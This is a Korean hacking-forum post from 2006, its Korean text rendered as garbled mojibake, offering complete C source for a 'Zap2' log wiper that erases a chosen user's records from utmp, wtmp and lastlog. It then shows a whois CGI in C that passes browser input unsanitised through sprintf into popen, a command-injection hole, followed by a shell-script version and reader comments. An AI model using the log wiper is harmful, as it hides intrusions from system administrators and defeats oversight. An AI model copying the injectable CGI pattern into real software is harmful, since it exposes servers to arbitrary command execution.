1596, 1/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   khas
   [Æß]·Î±×Áö¿ì±â

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=455 [º¹»ç]


ÃâÀú <ÀÎÅͳÝ>


<·Î±×Áö¿ì±â>
/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÑ´Ù. À̰͵éÀº ÅؽºÆ®
ÆÄÀÏÀÌ ¾Æ´Ï¶ó
¼­ vi·Î ÆíÁýÇÒ ¼ö ¾ø´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù.

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)


char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LAS

TLOG_NAME, O_R

DWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

C ·Î ¸¸µç CGI [Whois °Ë»ö]
ȸ¼±¸Á Á¤º¸¸¦ ¾Ë·ÁÁÖ´Â Whois °Ë»ö CGI ¸¦ °£´ÜÇÏ°Ô ±¸ÇöÇغ¸¾Ò½À´Ï´Ù
ÂÊÆȸ®±ä ÇÏÁö¸¸ ±×³É ºÁÁÖ¼¼¿ä ^^
Âü ÀÀ¿ëÇϽøé ÀÇ¿Ü·Î ½á¸ÔÀ»¶§°¡ Âü ¸¹½À´Ï´ç À¯´Ð½ºÀÇ ¸ðµç ¸í·É ½ÇÇà°á°ú
¸¦ ºê¶ó¿ìÀú¿¡ Ãâ·Â½Ãų¼ö ÀÖ¾î¿ä

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* whois °¡ ÀÖ´Â µð·ºÅ丮¿Í µÚ¿¡ ºÙ¿©Áú ÀÎÀÚ¿Í °°ÀÌ ½ÇÇàµÉ ¸í·É¾î¸¦
define ÇØÁØ´Ù
*/
#define WHOIS "/usr/bin/whois -h whois.nic.or.kr"
#define HEADER "<HTML><HEAD><TITLE>Whois °Ë»ö</TITLE></HEAD><BODY>"

int main(int argc, char **argv)
{
FILE *fp;
char buf1[50],buf2[500];


printf("Content-Type: text/html\n\n");
puts(HEADER);
printf("<H1>WHOIS Á¶È¸°Ë»ö</H1><P>\n");
printf("<ISINDEX>\n");
printf("Á¶È¸ÇÒ HOSTÀÇ IP ³ª Domain name À» ÀÔ·ÂÇϼ¼¿ä\n");

/* buf1,buf2 ¸¦ 0 ÄÚµå·Î °¢ ¹è¿­ Å©±â¸¸Å­ ä¿î´Ù */
memset(buf1,'\0',sizeof(buf1));
memset(buf2,'\0',sizeof(buf2));

/* ºê¶ó¿ìÀú¿¡¼­ ³Ñ¾î¿Â ÀÎÀÚ ¿Í define µÈ WHOIS ¸¦ ¾ç½Ä¿¡ µû¶ó
buf1 ¿¡ ³Ö¾îÁØ´Ù. Áï buf1 ¿¡´Â ´ÙÀ½°ú °°Àº ¹®±¸°¡ »ðÀԵȴÙ
/usr/bin/whois -h whois.nic.or.kr argv[1]
*/

sprintf(buf1,"%s %s", WHOIS, argv[1]);

/* Ãâ·ÂÀ» °íÁ¤½ÃÄÑÁÖ´Â ÅÂ±× */
printf("<PRE>");

/* popen ÇÔ¼ö´Â fopen°ú´Â ´Þ¸® ÆÄÀÏÀ» open ½ÃÅ°´Âµ¥ ¾Æ´Ï¶ó
½ÇÇà½ÃŲ´Ù "r" ¸ðµå´Â Àб⠸ðµåÀÌ°í "w" ¸ðµå·Î ´ëü ½ÃÄÑÁÖ¸é
½ÇÇàÇÁ·Î±×·¥¿¡ µ¥ÀÌÅ͸¦ ³Ñ°ÜÁÙ¼ö ÀÖ´Ù ÀÖ´Ù pipeopen*/
if ((fp=popen(buf1,"r")) != NULL)
{
while(!feof(fp))
{
/* popen ÀÌ ¹ÝȯÇÑ ¹®ÀÚ¿­À» buf¿¡ ÀԷ¹޾Æ
Ç¥ÁØÈ­¸éÀ¸·Î Ãâ·ÂÇÑ´Ù */
fgets(buf2,sizeof(buf2),fp);
printf("%s",buf2);
}
printf("</PRE>\n");
}
else
printf("<H1>Error ¹ß»ý</H1>\n");

pclose(fp);
return 0;
}

/* END */

À̸¦ À¯´Ð½º ½©½ºÅ©¸³Æ®·Îµµ ÈξÀ °£´ÜÇÏ°Ô ±¸Çö ÇÒ¼öÀÖ¾î¿ä
ÀÇ¿Ü·Î ½©½ºÅ©¸³Æ®µµ ¾µ¸¸ÇØ¿©

#!/bin/sh

WHOIS=/usr/bin/whois

echo Content-Type: text/html
echo

if [ -x $WHOIS ]; then
if [ $# = 0 ]; then
cat << _EOF_
<HTML><HEAD><TITLE>WHOIS SEARCH</TITLE></HEAD><BODY>
<BR><H1>Whois search input</H1>
<ISINDEX>
Á¶È¸ÇÒ »çÀÌÆ®ÀÇ domain À̳ª ip ¸¦ ÀÔ·ÂÇϼ¼¿ä <P>
_EOF_
else
echo \<PRE\>
$WHOIS -h whois.nic.or.kr "$1"
echo \</PRE\>
fi
else
echo whois not exist file
fi
cat << _EOF_
</BODY></HTML>
_EOF_







  Hit : 12111     Date : 2006/01/18 09:30



    
khas ÁÖÁ¦ ³Ñ°Ô °­ÀÇÇؼ­ Á˼ÛÇÕ´Ï´Ù. ¿åÀº ÇÏÁö¸»¾ÆÁÖ¼¼¿ä. 2006/01/18  
khas ÁÁÀº³»¿ëÀ̶ó°í »ý°¢ÇÑ°ÍÀº µµ¼­°üÀÇ °øÀ¯Çսôٿ¡ ¿Ã·È½À´Ï´Ù. 2006/01/18  
khas »ç½Ç ÇØÄ¿½ºÄð ȸ¿øºÐµé¿¡°Ô´Â ±×´ÙÁö ÇÊ¿ä¾øÀ»µíÇÑ ³»¿ëÀÌÁö¸¸, Ãʺ¸ÀÚ¸¦ À§Çؼ­ Àá±ñ ²ôÀûÇß½À´Ï´Ù. 2006/01/18  
ckdmsghcoh Ä«½º´Ô ³Ê¹«¸¹ÀÌ ¿Ã¸®¼Ë±º¿ä ±×¸®±¸ÀÌ°Å ³×À̹ö¿¡ µ¹¾Æ´Ù´Ï´ÂÀÚ·á ..; 2006/01/18  
ckdmsghcoh µµ¼­½Ç¿¡ À̸§ÀÌ ´ÔÀ̸§À¸·ç ÂÓµµ¹è ... 2006/01/18  
¸Å¸Â´Â¾ÆÀÌ À¯´Ð½º¿ëÀ̱º¿ä..¸®´ª½º¿Í À¯´Ð½ºÀÇ ·Î±× ÆÄÀÏÀ§Ä¡°¡ ´Ù¸£°Åµç¿ä.. °Ô´Ù°¡ ¼Ò½ºµµ ¿À·ù°¡ ÀÖ±º¿ä.. Æۿͼ­ ¿Ã¸®·Á¸é Àß µÇ´ÂÁö Çѹø Å×½ºÆ® ÇغÁ¾ß µÇ´Â°Ô ¾Æ´ÑÁö..Ãâó ¶ÇÇÑ..¹àÇô¾ß. 2006/01/18  
ckdmsghcoh Ȥ½Ã Æ÷ÀÎÆ® ¶§¹®¿¡ ±×·¯½Ã´Â°Ç¾Æ´Ï½ÃÁÒ? ¿©±ä ÀÚ±âÀÚ½ÅÀÌ ¸¸µç°ÍÀ» ¿Ã¸®´Â°÷ ¾Æ´Ñ°¡&^^;; 2006/01/18  
khas Æ÷ÀÎÅͶó... ±×·±»ý°¢Àº ¾ø¾ú½À´Ï´Ù. 2006/01/18  
khas Çϱâ´Â ¿©±â ÀÖ´Â ºÐµé, ±×Á¤µµ´Â ¾Ë°ÚÁÒ... ¹¹, µµ¼­°ü ³»¿ë ±âÃÊÀûÀÌ´Ï Áö¿ö¾ßÁö. 2006/01/18  
khas À½, ±×¸®°í ÀÌ°Å Á¶±Ý ¼öÁ¤Çϱâ·Î ÇÏÁÒ. 2006/01/18  
geniusevil À½~ µµ¼­°ü ³»¿ë º¸·Á°íÇߴµ¥..... 2006/01/18
jonginsir ÀÌ·±°Å ÀÛ¼ºÇÒ·Á¸é ¾ó¸¶³ª °É¸±±î¿ä- 0-; 2006/02/06  
     [°øÁö] °­Á¸¦ ¿Ã¸®½Ç ¶§´Â ¸»¸Ó¸®¸¦ ´Þ¾ÆÁÖ¼¼¿ä^¤Ñ^ [29] ¸Û¸Û 02/27 19450
1595   [pwnable.kr] Shellshock[1]     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 96
1594   ShellshockÀÇ ±âº» ¿ä¾à     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 77
1593   [pwnable.kr] fd     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 70
1592   VPNÀÌ ¿¬°áµÇ¾ú´Ù°¡ µµÁß¿¡ ²¨µµ À¥ ºê¶ó¿ìÀú»ó¿¡¼­ À¯ÁöµÇ´Â ÀÌÀ¯     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/22 77
1591   ÇØÄ¿µéÀÌ ÇØÅ·½Ã »ç¿ëÇÏ´Â µð·ºÅ丮 °ø°£[1]     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/22 116
1590   Keyboard Hooking -part2 - (Python3 ver)     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/20 86
1589   [Windows API] Keyboard Hooking     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/20 74
1588   [pwnable.kr] cmd1 °ø·«     ÇØÅ·ÀßÇÏ°í½Í´Ù
10/23 238
1587   netdiscover ÆÄÀ̽ãÀ¸·Î ±¸ÇöÇϱ⠠   ÇØÅ·ÀßÇÏ°í½Í´Ù
08/13 515
1586   ÆÄÀ̽ãÀ» ÀÌ¿ëÇÑ ½ÉÇà À¥ Å©·Ñ·¯     ÇØÅ·ÀßÇÏ°í½Í´Ù
08/13 407
1585   ÆÄÀ̽ã random¸ðµâÀ» ÀÌ¿ëÇÑ ¼ýÀÚ¸ÂÃ߱⠰ÔÀÓ ±¸Çö     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/30 957
1584   ÆÄÀ̽ã äÆà ÇÁ·Î±×·¥ ±¸Çö     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/28 847
1583   ÆÄÀ̽㠼ÒÄÏ ÇÁ·Î±×·¡¹ÖÀÇ ±âÃÊ     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/26 987
1582   ¸®´ª½º À¥ ·Î±× ºÐ¼®     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/20 675
1581   ¸®´ª½º/À©µµ¿ì º¸¾È Àåºñ ·Î±×     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/20 826
1580   °í¼ö´ÔµéÀÇ µµ¿òÀ» ¹Þ°í ½Í½À´Ï´Ù     vbnm111
02/11 914
1579   ¸®´ª½º Ä¿³Î 2.6 ¹öÀü ÀÌÈÄÀÇ LKM     jdo
07/25 1432
1578   ½©ÄÚµå ¸ðÀ½     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/15 2308
1577   Call by value VS Call by Reference     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/15 1608
1 [2][3][4][5][6][7][8][9][10]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org